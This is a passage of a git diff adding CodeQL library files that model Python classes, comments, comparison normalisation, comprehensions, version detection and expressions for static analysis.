} + +} + diff --git a/python/ql/src/semmle/python/Class.qll b/python/ql/src/semmle/python/Class.qll new file mode 100644 index 00000000000..1f754536bdd --- /dev/null +++ b/python/ql/src/semmle/python/Class.qll @@ -0,0 +1,219 @@ +import python + + +/** An (artificial) expression corresponding to a class definition. + * It is recommended to use `ClassDef` instead. + */ +class ClassExpr extends ClassExpr_ { + + /** Gets the metaclass expression */ + Expr getMetaClass() { + if major_version() = 3 then + exists(Keyword metacls | this.getAKeyword() = metacls and metacls.getArg() = "metaclass" and result = metacls.getValue()) + else + exists(Assign a | a = this.getInnerScope().getAStmt() and ((Name)a.getATarget()).getId() = "__metaclass__" and result = a.getValue()) + } + + + /** Gets the nth keyword argument of this class definition. */ + override DictUnpackingOrKeyword getKeyword(int index) { + result = this.getKeywords().getItem(index) + } + + /** Gets a keyword argument of this class definition. */ + override DictUnpackingOrKeyword getAKeyword() { + result = this.getKeywords().getAnItem() + } + + override Expr getASubExpression() { + result = this.getABase() or + result = this.getAKeyword().getValue() or + result = this.getKwargs() or + result = this.getStarargs() + } + + Call getADecoratorCall() { + result.getArg(0) = this or + result.getArg(0) = this.getADecoratorCall() + } + + /** Gets a decorator of this function expression */ + Expr getADecorator() { + result = this.getADecoratorCall().getFunc() + } + + override AstNode getAChildNode() { + result = this.getASubExpression() + or + result = this.getInnerScope() + } + + /** Gets a tuple (*) argument of this class definition. */ + Expr getStarargs() { + result = this.getABase().(Starred).getValue() + } + + /** Gets a dictionary (**) argument of this class definition. */ + Expr getKwargs() { + result = this.getAKeyword().(DictUnpacking).getValue() + } + +} + +/** A class statement. Note that ClassDef extends Assign as a class definition binds the newly created class */ +class ClassDef extends Assign { + + ClassDef() { + /* This is an artificial assignment the rhs of which is a (possibly decorated) ClassExpr */ + exists(ClassExpr c | this.getValue() = c or this.getValue() = c.getADecoratorCall()) + } + + override string toString() { + result = "ClassDef" + } + + /** Gets the class for this statement */ + Class getDefinedClass() { + exists(ClassExpr c | + this.getValue() = c or this.getValue() = c.getADecoratorCall() | + result = c.getInnerScope() + ) + } + + override Stmt getLastStatement() { + result = this.getDefinedClass().getLastStatement() + } + +} + +/** The scope of a class. This is the scope of all the statements within the class definition */ +class Class extends Class_, Scope, AstNode { + + /** Use getADecorator() instead of getDefinition().getADecorator() + * Use getMetaClass() instead of getDefinition().getMetaClass() + */ + deprecated ClassExpr getDefinition() { + result = this.getParent() + } + + /** Gets a defined init method of this class */ + Function getInitMethod() { + result.getScope() = this and result.isInitMethod() + } + + /** Gets a method defined in this class */ + Function getAMethod() { + result.getScope() = this + } + + override Location getLocation() { + py_scope_location(result, this) + } + + /** Gets the scope (module, class or function) in which this class is defined */ + override Scope getEnclosingScope() { + result = this.getParent().getScope() + } + + /** Use getEnclosingScope() instead */ + override Scope getScope() { + result = this.getParent().getScope() + } + + override string toString() { + result = "Class " + this.getName() + } + + /** Gets the statements forming the body of this class */ + override StmtList getBody() { + result = Class_.super.getBody() + } + + /** Gets the nth statement in the class */ + override Stmt getStmt(int index) { + result = Class_.super.getStmt(index) + } + + /** Gets a statement in the class */ + override Stmt getAStmt() { + result = Class_.super.getAStmt() + } + + /** Gets the name used to define this class */ + override string getName() { + result = Class_.super.getName() + } + + predicate hasSideEffects() { + any() + } + + /** Whether this is probably a mixin (has 'mixin' or similar in name or docstring) */ + predicate isProbableMixin() { + (this.getName().toLowerCase().matches("%mixin%") + or + this.getDocString().getText().toLowerCase().matches("%mixin%") + or + this.getDocString().getText().toLowerCase().matches("%mix-in%") + ) + } + + override AstNode getAChildNode() { + result = this.getAStmt() + } + + Expr getADecorator() { + result = this.getParent().getADecorator() + } + + /** Gets the metaclass expression */ + Expr getMetaClass() { + result = this.getParent().getMetaClass() + } + + /** Gets the ClassObject corresponding to this class */ + ClassObject getClassObject() { + result.getOrigin() = this.getParent() + } + + /** Gets the nth base of this class definition. */ + Expr getBase(int index) { + result = this.getParent().getBase(index) + } + + /** Gets a base of this class definition. */ + Expr getABase() { + result = this.getParent().getABase() + } + + /** Gets the metrics for this class */ + ClassMetrics getMetrics() { + result = this + } + + /** Gets the qualified name for this class. + * Should return the same name as the `__qualname__` attribute on classes in Python 3. + */ + string getQualifiedName() { + this.getScope() instanceof Module and result = this.getName() + or + exists(string enclosing_name | + enclosing_name = this.getScope().(Function).getQualifiedName() + or + enclosing_name = this.getScope().(Class).getQualifiedName() | + result = enclosing_name + "." + this.getName() + ) + } + + override + predicate containsInScope(AstNode inner) { + Scope.super.containsInScope(inner) + } + + override + predicate contains(AstNode inner) { + Scope.super.contains(inner) + } + +} + diff --git a/python/ql/src/semmle/python/Comment.qll b/python/ql/src/semmle/python/Comment.qll new file mode 100644 index 00000000000..c40de34478b --- /dev/null +++ b/python/ql/src/semmle/python/Comment.qll @@ -0,0 +1,110 @@ +import python + +/** A source code comment */ +class Comment extends @py_comment { + + /** Gets the full text of the comment including the leading '#' */ + string getText() { + py_comments(this, result, _) + } + + /** Gets the contents of the comment excluding the leading '#' */ + string getContents() { + result = this.getText().suffix(1) + } + + Location getLocation() { + py_comments(this, _, result) + + } + + string toString() { + result = "Comment " + this.getText() + } + + /** Gets this immediately following comment. + * Blanks line are allowed between this comment and the following comment, + * but code or other comments are not. + */ + Comment getFollowing() { + exists(File f, int n | + this.file_line(f, n) | + result.file_line(f, n+1) + or + result.file_line(f, n+2) and f.emptyLine(n+1) + or + result.file_line(f, n+3) and f.emptyLine(n+2) and f.emptyLine(n+1) + ) + } + + private predicate file_line(File f, int n) { + this.getLocation().getFile() = f and + this.getLocation().getStartLine() = n + } + +} + +private predicate comment_block_part(Comment start, Comment part, int i) { + not exists(Comment prev | prev.getFollowing() = part) and + exists(Comment following | part.getFollowing() = following) and + start = part and i = 1 + or + exists(Comment prev | + comment_block_part(start, prev, i-1) and + part = prev.getFollowing() + ) +} + +/** A block of consecutive comments */ +class CommentBlock extends @py_comment { + + CommentBlock() { + comment_block_part(this, _, _) + } + + private Comment last() { + comment_block_part(this, result, this.length()) + } + + string toString() { + result = "Comment block" + } + + /** The length of this comment block (in comments) */ + int length() { + result = max(int i | comment_block_part(this, _, i)) + } + + predicate hasLocationInfo(string filepath, int bl, int bc, int el, int ec) { + ((Comment)this).getLocation().hasLocationInfo(filepath, bl, bc, _, _) + and + exists(Comment end | + end = this.last() | + end.getLocation().hasLocationInfo(_, _, _, el, ec) + ) + } + + predicate contains(Comment c) { + comment_block_part(this, c, _) + or + this = c + } + + string getContents() { + result = concat(Comment c,int i | + comment_block_part(this, c, i) or this = c and i = 0 | + c.getContents() order by i + ) + } + +} + +/** A type-hint comment. Any comment that starts with `# type:` */ +class TypeHintComment extends Comment { + + TypeHintComment() { + this.getText().regexpMatch("# +type:.*") + } + +} + diff --git a/python/ql/src/semmle/python/Comparisons.qll b/python/ql/src/semmle/python/Comparisons.qll new file mode 100644 index 00000000000..4967456e7be --- /dev/null +++ b/python/ql/src/semmle/python/Comparisons.qll @@ -0,0 +1,482 @@ + +import python + +/* A class representing the six comparison operators, ==, !=, <, <=, > and >=. + * */ +class CompareOp extends int { + + CompareOp() { + this in [1..6] + } + + /** Gets the logical inverse operator */ + CompareOp invert() { + this = eq() and result = ne() or + this = ne() and result = eq() or + this = lt() and result = ge() or + this = gt() and result = le() or + this = le() and result = gt() or + this = ge() and result = lt() + } + + /** Gets the reverse operator (swapping the operands) */ + CompareOp reverse() { + this = eq() and result = eq() or + this = ne() and result = ne() or + this = lt() and result = gt() or + this = gt() and result = lt() or + this = le() and result = ge() or + this = ge() and result = le() + } + + string repr() { + this = eq() and result = "==" or + this = ne() and result = "!=" or + this = lt() and result = "<" or + this = gt() and result = ">" or + this = le() and result = "<=" or + this = ge() and result = ">=" + } + + predicate forOp(Cmpop op) { + op instanceof Eq and this = eq() or + op instanceof NotEq and this = ne() or + op instanceof Lt and this = lt() or + op instanceof LtE and this = le() or + op instanceof Gt and this = gt() or + op instanceof GtE and this = ge() + } + + /** Return this if isTrue is true, otherwise returns the inverse */ + CompareOp conditional(boolean isTrue) { + result = this and isTrue = true + or + result = this.invert() and isTrue = false + } + +} + +CompareOp eq() { result = 1 } +CompareOp ne() { result = 2 } +CompareOp lt() { result = 3 } +CompareOp le() { result = 4 } +CompareOp gt() { result = 5 } +CompareOp ge() { result = 6 } + +/* Workaround precision limits in floating point numbers */ +bindingset[x] private predicate ok_magnitude(float x) { + x > -9007199254740992.0 // -2**53 + and + x < 9007199254740992.0 // 2**53 +} + +bindingset[x,y] private float add(float x, float y) { + ok_magnitude(x) and + ok_magnitude(y) and + ok_magnitude(result) and + result = x + y +} + +bindingset[x,y] private float sub(float x, float y) { + ok_magnitude(x) and + ok_magnitude(y) and + ok_magnitude(result) and + result = x - y +} + +/** Normalise equality cmp into the form `left op right + k`. */ +private predicate test(ControlFlowNode cmp, ControlFlowNode left, CompareOp op, ControlFlowNode right, float k) { + simple_test(cmp, left, op, right) and k = 0 + or + add_test(cmp, left, op, right, k) + or + not_test(cmp, left, op, right, k) + or + subtract_test(cmp, left, op, right, k) + or + exists(float c | test(cmp, right, op.reverse(), left, c) and k = -c) +} + +/** Various simple tests in left op right + k form. */ +private predicate simple_test(CompareNode cmp, ControlFlowNode l, CompareOp cmpop, ControlFlowNode r) { + exists(Cmpop op | + cmp.operands(l, op, r) and cmpop.forOp(op) + ) +} + +private predicate add_test_left(CompareNode cmp, ControlFlowNode l, CompareOp op, ControlFlowNode r, float k) { + exists(BinaryExprNode lhs, float c, float x, Num n | + lhs.getNode().getOp() instanceof Add and + test(cmp, lhs, op, r, c) and x = n.getN().toFloat() and k = sub(c, x) | + l = lhs.getLeft() and n = lhs.getRight().getNode() + or + l = lhs.getRight() and n = lhs.getLeft().getNode() + ) +} + +private predicate add_test_right(CompareNode cmp, ControlFlowNode l, CompareOp op, ControlFlowNode r, float k) { + exists(BinaryExprNode rhs, float c, float x, Num n | + rhs.getNode().getOp() instanceof Add and + test(cmp, l, op, rhs, c) and x = n.getN().toFloat() and k = add(c, x) | + r = rhs.getLeft() and n = rhs.getRight().getNode() + or + r = rhs.getRight() and n = rhs.getLeft().getNode() + ) +} + +/* left + x op right + c => left op right + (c-x) + left op (right + x) + c => left op right + (c+x) */ +private predicate add_test(CompareNode cmp, ControlFlowNode l, CompareOp op, ControlFlowNode r, float k) { + add_test_left(cmp, l, op, r, k) + or + add_test_right(cmp, l, op ,r, k) +} + +private predicate subtract_test_left(CompareNode cmp, ControlFlowNode l, CompareOp op, ControlFlowNode r, float k) { + exists(BinaryExprNode lhs, float c, float x, Num n | + lhs.getNode().getOp() instanceof Sub and + test(cmp, lhs, op, r, c) and + l = lhs.getLeft() and n = lhs.getRight().getNode() and + x = n.getN().toFloat() | + k = add(c, x) + ) +} + +private predicate subtract_test_right(CompareNode cmp, ControlFlowNode l, CompareOp op, ControlFlowNode r, float k) { + exists(BinaryExprNode rhs, float c, float x, Num n | + rhs.getNode().getOp() instanceof Sub and + test(cmp, l, op, rhs, c) and + r = rhs.getRight() and n = rhs.getLeft().getNode() and + x = n.getN().toFloat() | + k = sub(c, x) + ) +} + +/* left - x op right + c => left op right + (c+x) + left op (right - x) + c => left op right + (c-x) */ +private predicate subtract_test(CompareNode cmp, ControlFlowNode l, CompareOp op, ControlFlowNode r, float k) { + subtract_test_left(cmp, l, op, r, k) + or + subtract_test_right(cmp, l, op, r, k) +} + +private predicate not_test(UnaryExprNode u, ControlFlowNode l, CompareOp op, ControlFlowNode r, float k) { + u.getNode().getOp() instanceof Not + and + test(u.getOperand(), l, op.invert(), r, k) +} + + +/** A comparison which can be simplified to the canonical form `x OP y + k` where `x` and `y` are `ControlFlowNode`s, + * `k` is a floating point constant and `OP` is one of `<=`, `>`, `==` or `!=`. + */ +class Comparison extends ControlFlowNode { + + Comparison() { + test(this, _, _, _, _) + } + + /** Whether this condition tests `l op r + k` */ + predicate tests(ControlFlowNode l, CompareOp op, ControlFlowNode r, float k) { + test(this, l, op, r, k) + } + + /** Whether this condition tests `l op k` */ + predicate tests(ControlFlowNode l, CompareOp op, float k) { + exists(ControlFlowNode r, float x, float c | + test(this, l, op, r, c) | + x = r.getNode().(Num).getN().toFloat() and + k = add(c, x) + ) + } + + /* The following predicates determine whether this test, when its result is `thisIsTrue`, + * is equivalent to the predicate `v OP k` or `v1 OP v2 + k`. + * For example, the test `x <= y` being false, is equivalent to the predicate `x > y`. + */ + + private predicate equivalentToEq(boolean thisIsTrue, SsaVariable v, float k) { + this.tests(v.getAUse(), eq().conditional(thisIsTrue), k) + } + + private predicate equivalentToNotEq(boolean thisIsTrue, SsaVariable v, float k) { + this.tests(v.getAUse(), ne().conditional(thisIsTrue), k) + } + + private predicate equivalentToLt(boolean thisIsTrue, SsaVariable v, float k) { + this.tests(v.getAUse(), lt().conditional(thisIsTrue), k) + } + + private predicate equivalentToLtEq(boolean thisIsTrue, SsaVariable v, float k) { + this.tests(v.getAUse(), le().conditional(thisIsTrue), k) + } + + private predicate equivalentToGt(boolean thisIsTrue, SsaVariable v, float k) { + this.tests(v.getAUse(), gt().conditional(thisIsTrue), k) + } + + private predicate equivalentToGtEq(boolean thisIsTrue, SsaVariable v, float k) { + this.tests(v.getAUse(), ge().conditional(thisIsTrue), k) + } + + private predicate equivalentToEq(boolean thisIsTrue, SsaVariable v1, SsaVariable v2, float k) { + this.tests(v1.getAUse(), eq().conditional(thisIsTrue), v2.getAUse(), k) + } + + private predicate equivalentToNotEq(boolean thisIsTrue, SsaVariable v1, SsaVariable v2, float k) { + this.tests(v1.getAUse(), ne().conditional(thisIsTrue), v2.getAUse(), k) + } + + private predicate equivalentToLt(boolean thisIsTrue, SsaVariable v1, SsaVariable v2, float k) { + this.tests(v1.getAUse(), lt().conditional(thisIsTrue), v2.getAUse(), k) + } + + private predicate equivalentToLtEq(boolean thisIsTrue, SsaVariable v1, SsaVariable v2, float k) { + this.tests(v1.getAUse(), le().conditional(thisIsTrue), v2.getAUse(), k) + } + + private predicate equivalentToGt(boolean thisIsTrue, SsaVariable v1, SsaVariable v2, float k) { + this.tests(v1.getAUse(), gt().conditional(thisIsTrue), v2.getAUse(), k) + } + + private predicate equivalentToGtEq(boolean thisIsTrue, SsaVariable v1, SsaVariable v2, float k) { + this.tests(v1.getAUse(), ge().conditional(thisIsTrue), v2.getAUse(), k) + } + + /** Whether the result of this comparison being `thisIsTrue` implies that the result of `that` is `isThatTrue`. + * In other words, does the predicate that is equivalent to the result of `this` being `thisIsTrue` + * imply the predicate that is equivalent to the result of `that` being `thatIsTrue`. + * For example, assume that there are two tests, which when normalised have the form `x < y` and `x > y + 1`. + * Then the test `x < y` having a true result, implies that the test `x > y + 1` will have a false result. + * (`x < y` having a false result implies nothing about `x > y + 1`) + */ + predicate impliesThat(boolean thisIsTrue, Comparison that, boolean thatIsTrue) { + /* `v == k` => `v == k` */ + exists(SsaVariable v, float k1, float k2 | + this.equivalentToEq(thisIsTrue, v, k1) and + that.equivalentToEq(thatIsTrue, v, k2) and + eq(k1, k2) + or + this.equivalentToNotEq(thisIsTrue, v, k1) and + that.equivalentToNotEq(thatIsTrue, v, k2) and + eq(k1, k2) + ) + or + exists(SsaVariable v, float k1, float k2 | + /* `v < k1` => `v != k2` iff k1 <= k2 */ + this.equivalentToLt(thisIsTrue, v, k1) and + that.equivalentToNotEq(thatIsTrue, v, k2) and + le(k1, k2) + or + /* `v <= k1` => `v != k2` iff k1 < k2 */ + this.equivalentToLtEq(thisIsTrue, v, k1) and + that.equivalentToNotEq(thatIsTrue, v, k2) and + lt(k1, k2) + or + /* `v > k1` => `v != k2` iff k1 >= k2 */ + this.equivalentToGt(thisIsTrue, v, k1) and + that.equivalentToNotEq(thatIsTrue, v, k2) and + ge(k1, k2) + or + /* `v >= k1` => `v != k2` iff k1 > k2 */ + this.equivalentToGtEq(thisIsTrue, v, k1) and + that.equivalentToNotEq(thatIsTrue, v, k2) and + gt(k1, k2) + ) + or + exists(SsaVariable v, float k1, float k2 | + /* `v < k1` => `v < k2` iff k1 <= k2 */ + this.equivalentToLt(thisIsTrue, v, k1) and + that.equivalentToLt(thatIsTrue, v, k2) and + le(k1, k2) + or + /* `v < k1` => `v <= k2` iff k1 <= k2 */ + this.equivalentToLt(thisIsTrue, v, k1) and + that.equivalentToLtEq(thatIsTrue, v, k2) and + le(k1, k2) + or + /* `v <= k1` => `v < k2` iff k1 < k2 */ + this.equivalentToLtEq(thisIsTrue, v, k1) and + that.equivalentToLt(thatIsTrue, v, k2) and + lt(k1, k2) + or + /* `v <= k1` => `v <= k2` iff k1 <= k2 */ + this.equivalentToLtEq(thisIsTrue, v, k1) and + that.equivalentToLtEq(thatIsTrue, v, k2) and + le(k1, k2) + ) + or + exists(SsaVariable v, float k1, float k2 | + /* `v > k1` => `v >= k2` iff k1 >= k2 */ + this.equivalentToGt(thisIsTrue, v, k1) and + that.equivalentToGt(thatIsTrue, v, k2) and + ge(k1, k2) + or + /* `v > k1` => `v >= k2` iff k1 >= k2 */ + this.equivalentToGt(thisIsTrue, v, k1) and + that.equivalentToGtEq(thatIsTrue, v, k2) and + ge(k1, k2) + or + /* `v >= k1` => `v > k2` iff k1 > k2 */ + this.equivalentToGtEq(thisIsTrue, v, k1) and + that.equivalentToGt(thatIsTrue, v, k2) and + gt(k1, k2) + or + /* `v >= k1` => `v >= k2` iff k1 >= k2 */ + this.equivalentToGtEq(thisIsTrue, v, k1) and + that.equivalentToGtEq(thatIsTrue, v, k2) and + ge(k1, k2) + ) + or + exists(SsaVariable v1, SsaVariable v2, float k | + /* `v1 == v2 + k` => `v1 == v2 + k` */ + this.equivalentToEq(thisIsTrue, v1, v2, k) and + that.equivalentToEq(thatIsTrue, v1, v2, k) + or + this.equivalentToNotEq(thisIsTrue, v1, v2, k) and + that.equivalentToNotEq(thatIsTrue, v1, v2, k) + ) + or + exists(SsaVariable v1, SsaVariable v2, float k1, float k2 | + /* `v1 < v2 + k1` => `v1 != v2 + k2` iff k1 <= k2 */ + this.equivalentToLt(thisIsTrue, v1, v2, k1) and + that.equivalentToNotEq(thatIsTrue, v1, v2, k2) and + le(k1, k2) + or + /* `v1 <= v2 + k1` => `v1 != v2 + k2` iff k1 < k2 */ + this.equivalentToLtEq(thisIsTrue, v1, v2, k1) and + that.equivalentToNotEq(thatIsTrue, v1, v2, k2) and + lt(k1, k2) + or + /* `v1 > v2 + k1` => `v1 != v2 + k2` iff k1 >= k2 */ + this.equivalentToGt(thisIsTrue, v1, v2, k1) and + that.equivalentToNotEq(thatIsTrue, v1, v2, k2) and + ge(k1, k2) + or + /* `v1 >= v2 + k1` => `v1 != v2 + k2` iff k1 > k2 */ + this.equivalentToGtEq(thisIsTrue, v1, v2, k1) and + that.equivalentToNotEq(thatIsTrue, v1, v2, k2) and + gt(k1, k2) + ) + or + exists(SsaVariable v1, SsaVariable v2, float k1, float k2 | + /* `v1 <= v2 + k1` => `v1 <= v2 + k2` iff k1 <= k2 */ + this.equivalentToLtEq(thisIsTrue, v1, v2, k1) and + that.equivalentToLtEq(thatIsTrue, v1, v2, k2) and + le(k1, k2) + or + /* `v1 < v2 + k1` => `v1 <= v2 + k2` iff k1 <= k2 */ + this.equivalentToLt(thisIsTrue, v1, v2, k1) and + that.equivalentToLtEq(thatIsTrue, v1, v2, k2) and + le(k1, k2) + or + /* `v1 <= v2 + k1` => `v1 < v2 + k2` iff k1 < k2 */ + this.equivalentToLtEq(thisIsTrue, v1, v2, k1) and + that.equivalentToLt(thatIsTrue, v1, v2, k2) and + lt(k1, k2) + or + /* `v1 <= v2 + k1` => `v1 <= v2 + k2` iff k1 <= k2 */ + this.equivalentToLtEq(thisIsTrue, v1, v2, k1) and + that.equivalentToLtEq(thatIsTrue, v1, v2, k2) and + le(k1, k2) + ) + or + exists(SsaVariable v1, SsaVariable v2, float k1, float k2 | + /* `v1 > v2 + k1` => `v1 > v2 + k2` iff k1 >= k2 */ + this.equivalentToGt(thisIsTrue, v1, v2, k1) and + that.equivalentToGt(thatIsTrue, v1, v2, k2) and + ge(k1, k2) + or + /* `v1 > v2 + k1` => `v2 >= v2 + k2` iff k1 >= k2 */ + this.equivalentToGt(thisIsTrue, v1, v2, k1) and + that.equivalentToGtEq(thatIsTrue, v1, v2, k2) and + ge(k1, k2) + or + /* `v1 >= v2 + k1` => `v2 > v2 + k2` iff k1 > k2 */ + this.equivalentToGtEq(thisIsTrue, v1, v2, k1) and + that.equivalentToGt(thatIsTrue, v1, v2, k2) and + gt(k1, k2) + or + /* `v1 >= v2 + k1` => `v2 >= v2 + k2` iff k1 >= k2 */ + this.equivalentToGtEq(thisIsTrue, v1, v2, k1) and + that.equivalentToGtEq(thatIsTrue, v1, v2, k2) and + ge(k1, k2) + ) + } + +} + +/* Work around differences in floating-point comparisons between Python and QL */ +private predicate is_zero(float x) { + x = 0.0 + or + x = -0.0 +} + +bindingset[x,y] private predicate lt(float x, float y) { + if is_zero(x) then + y > 0 + else + x < y +} + +bindingset[x,y] private predicate eq(float x, float y) { + if is_zero(x) then + is_zero(y) + else + x = y +} + +bindingset[x,y] private predicate gt(float x, float y) { + lt(y, x) +} + +bindingset[x,y] private predicate le(float x, float y) { + lt(x, y) or eq(x, y) +} + +bindingset[x,y] private predicate ge(float x, float y) { + lt(y, x) or eq(x, y) +} + + +/** A basic block which terminates in a condition, splitting the subsequent control flow, + * in which the condition is an instance of `Comparison` + */ +class ComparisonControlBlock extends ConditionBlock { + + ComparisonControlBlock() { + this.getLastNode() instanceof Comparison + } + + /** Whether this conditional guard determines that, in block `b`, `l == r + k` if `eq` is true, or `l != r + k` if `eq` is false, */ + predicate controls(ControlFlowNode l, CompareOp op, ControlFlowNode r, float k, BasicBlock b) { + exists(boolean control | + this.controls(b, control) and this.getTest().tests(l, op, r, k) and control = true + or + this.controls(b, control) and this.getTest().tests(l, op.invert(), r, k) and control = false + ) + } + + /** Whether this conditional guard determines that, in block `b`, `l == r + k` if `eq` is true, or `l != r + k` if `eq` is false, */ + predicate controls(ControlFlowNode l, CompareOp op, float k, BasicBlock b) { + exists(boolean control | + this.controls(b, control) and this.getTest().tests(l, op, k) and control = true + or + this.controls(b, control) and this.getTest().tests(l, op.invert(), k) and control = false + ) + } + + Comparison getTest() { + this.getLastNode() = result + } + + /** Whether this conditional guard implies that, in block `b`, the result of `that` is `thatIsTrue` */ + predicate impliesThat(BasicBlock b, Comparison that, boolean thatIsTrue) { + exists(boolean controlSense | + this.controls(b, controlSense) and + this.getTest().impliesThat(controlSense, that, thatIsTrue) + ) + } + +} diff --git a/python/ql/src/semmle/python/Comprehensions.qll b/python/ql/src/semmle/python/Comprehensions.qll new file mode 100644 index 00000000000..eec5dd372f6 --- /dev/null +++ b/python/ql/src/semmle/python/Comprehensions.qll @@ -0,0 +1,154 @@ +import python + +/** Base class for list, set and dictionary comprehensions, and generator expressions. */ +abstract class Comp extends Expr { + + abstract Function getFunction(); + + /** Gets the iteration variable for the nth innermost generator of this list comprehension */ + Variable getIterationVariable(int n) { + result.getAnAccess() = this.getNthInnerLoop(n).getTarget() + } + + private For getNthInnerLoop(int n) { + n = 0 and result = this.getFunction().getStmt(0) + or + result = this.getNthInnerLoop(n-1).getStmt(0) + } + + /** Gets the iteration variable for a generator of this list comprehension */ + Variable getAnIterationVariable() { + result = this.getIterationVariable(_) + } + + /** Gets the scope in which the body of this list comprehension evaluates. */ + Scope getEvaluatingScope() { + result = this.getFunction() + } + + /** Gets the expression for elements of this comprehension. */ + Expr getElt() { + exists(Yield yield, Stmt body | + result = yield.getValue() and + body = this.getNthInnerLoop(_).getAStmt() | + yield = body.(ExprStmt).getValue() + or + yield = body.(If).getStmt(0).(ExprStmt).getValue() + ) + } + +} + +/** A list comprehension, such as `[ chr(x) for x in range(ord('A'), ord('Z')+1) ]` */ +class ListComp extends ListComp_, Comp { + + override Expr getASubExpression() { + result = this.getAGenerator().getASubExpression() or + result = this.getElt() or + result = this.getIterable() + } + + override AstNode getAChildNode() { + result = this.getAGenerator() or + result = this.getIterable() or + result = this.getFunction() + } + + override predicate hasSideEffects() { + any() + } + + /** Gets the scope in which the body of this list comprehension evaluates. */ + override Scope getEvaluatingScope() { + major_version() = 2 and result = this.getScope() + or + major_version() = 3 and result = this.getFunction() + } + + /** Gets the iteration variable for the nth innermost generator of this list comprehension */ + override Variable getIterationVariable(int n) { + result = Comp.super.getIterationVariable(n) + } + + override Function getFunction() { + result = ListComp_.super.getFunction() + } + + override string toString() { + result = ListComp_.super.toString() + } + + override Expr getElt() { + result = Comp.super.getElt() + } + +} + + +/** A set comprehension such as `{ v for v in "0123456789" }` */ +class SetComp extends SetComp_, Comp { + + override Expr getASubExpression() { + result = this.getIterable() + } + + override AstNode getAChildNode() { + result = this.getASubExpression() or + result = this.getFunction() + } + + override predicate hasSideEffects() { + any() + } + + override Function getFunction() { + result = SetComp_.super.getFunction() + } + +} + +/** A dictionary comprehension, such as `{ k:v for k, v in enumerate("0123456789") }` */ +class DictComp extends DictComp_, Comp { + + override Expr getASubExpression() { + result = this.getIterable() + } + + override AstNode getAChildNode() { + result = this.getASubExpression() or + result = this.getFunction() + } + + override predicate hasSideEffects() { + any() + } + + override Function getFunction() { + result = DictComp_.super.getFunction() + } + +} + + +/** A generator expression, such as `(var for var in iterable)` */ +class GeneratorExp extends GeneratorExp_, Comp { + + override Expr getASubExpression() { + result = this.getIterable() + } + + override AstNode getAChildNode() { + result = this.getASubExpression() or + result = this.getFunction() + } + + override predicate hasSideEffects() { + any() + } + + override Function getFunction() { + result = GeneratorExp_.super.getFunction() + } + +} + diff --git a/python/ql/src/semmle/python/Constants.qll b/python/ql/src/semmle/python/Constants.qll new file mode 100644 index 00000000000..c95f6bf9dc5 --- /dev/null +++ b/python/ql/src/semmle/python/Constants.qll @@ -0,0 +1,39 @@ +/** Standard builtin types and modules */ + +import python + +/** the Python major version number */ +int major_version() { + explicit_major_version(result) + or + not explicit_major_version(_) and + /* If there is more than one version, prefer 2 for backwards compatibilty */ + ( + if py_flags_versioned("version.major", "2", "2") then + result = 2 + else + result = 3 + ) +} + +/** the Python minor version number */ +int minor_version() { + exists(string v | py_flags_versioned("version.minor", v, major_version().toString()) | + result = v.toInt()) + +} + +/** the Python micro version number */ +int micro_version() { + exists(string v | py_flags_versioned("version.micro", v, major_version().toString()) | + result = v.toInt()) +} + +private predicate explicit_major_version(int v) { + exists(string version | + py_flags_versioned("language.version", version, _) | + version.charAt(0) = "2" and v = 2 + or + version.charAt(0) = "3" and v = 3 + ) +} diff --git a/python/ql/src/semmle/python/Exprs.qll b/python/ql/src/semmle/python/Exprs.qll new file mode 100644 index 00000000000..30f34b0a549 --- /dev/null +++ b/python/ql/src/semmle/python/Exprs.qll @@ -0,0 +1,854 @@ +import python +private import semmle.python.pointsto.PointsTo + +/** An expression */ +class Expr extends Expr_, AstNode { + + /** Gets the scope of this expression */ + override Scope getScope() { + py_scopes(this, result) + } + + override string toString() { + result = "Expression" + } + + /** Gets the module in which this expression occurs */ + Module getEnclosingModule() { + result = this.getScope().getEnclosingModule() + } + + /** Whether this expression defines variable `v` + * If doing dataflow, then consider using SsaVariable.getDefinition() for more precision. */ + predicate defines(Variable v) { + this.getASubExpression+().defines(v) + } + + /** Whether this expression may have a side effect (as determined purely from its syntax) */ + predicate hasSideEffects() { + /* If an exception raised by this expression handled, count that as a side effect */ + this.getAFlowNode().getASuccessor().getNode() instanceof ExceptStmt + or + this.getASubExpression().hasSideEffects() + } + + /** Whether this expression is a constant */ + predicate isConstant() { + not this.isVariable() + } + + /** Use isParenthesized instead. */ + override deprecated predicate isParenthesised() { + this.isParenthesized() + } + + /** Whether the parenthesized property of this expression is true. */ + predicate isParenthesized() { + Expr_.super.isParenthesised() + } + + private predicate isVariable() { + this.hasSideEffects() or + this instanceof Name or + exists(Expr e | e = this.getASubExpression() and e.isVariable()) + } + + override Location getLocation() { + result = Expr_.super.getLocation() + } + + /** Gets an immediate (non-nested) sub-expression of this expression */ + Expr getASubExpression() { + none() + } + + /** Use StrConst.getText() instead */ + deprecated string strValue() { + none() + } + + override AstNode getAChildNode() { + result = this.getASubExpression() + } + + /** Gets what this expression might "refer-to". Performs a combination of localized (intra-procedural) points-to + * analysis and global module-level analysis. This points-to analysis favours precision over recall. It is highly + * precise, but may not provide information for a significant number of flow-nodes. + * If the class is unimportant then use `refersTo(value)` or `refersTo(value, origin)` instead. + * NOTE: For complex dataflow, involving multiple stages of points-to analysis, it may be more precise to use + * `ControlFlowNode.refersTo(...)` instead. + */ + predicate refersTo(Object value, ClassObject cls, AstNode origin) { + not py_special_objects(cls, "_semmle_unknown_type") + and + not value = unknownValue() + and + PointsTo::points_to(this.getAFlowNode(), _, value, cls, origin.getAFlowNode()) + } + + /** Gets what this expression might "refer-to" in the given `context`. + */ + predicate refersTo(Context context, Object value, ClassObject cls, AstNode origin) { + not py_special_objects(cls, "_semmle_unknown_type") + and + PointsTo::points_to(this.getAFlowNode(), context, value, cls, origin.getAFlowNode()) + } + + /** Whether this expression might "refer-to" to `value` which is from `origin` + * Unlike `this.refersTo(value, _, origin)`, this predicate includes results + * where the class cannot be inferred. + */ + predicate refersTo(Object value, AstNode origin) { + PointsTo::points_to(this.getAFlowNode(), _, value, _, origin.getAFlowNode()) + and + not value = unknownValue() + } + + /** Equivalent to `this.refersTo(value, _)` */ + predicate refersTo(Object value) { + PointsTo::points_to(this.getAFlowNode(), _, value, _, _) + and + not value = unknownValue() + } + +} + +/** An attribute expression, such as `value.attr` */ +class Attribute extends Attribute_ { + + override Expr getASubExpression() { + result = this.getObject() + } + + override AttrNode getAFlowNode() { result = super.getAFlowNode() } + + + /** Gets the name of this attribute. That is the `name` in `obj.name` */ + string getName() { + result = Attribute_.super.getAttr() + } + + /** 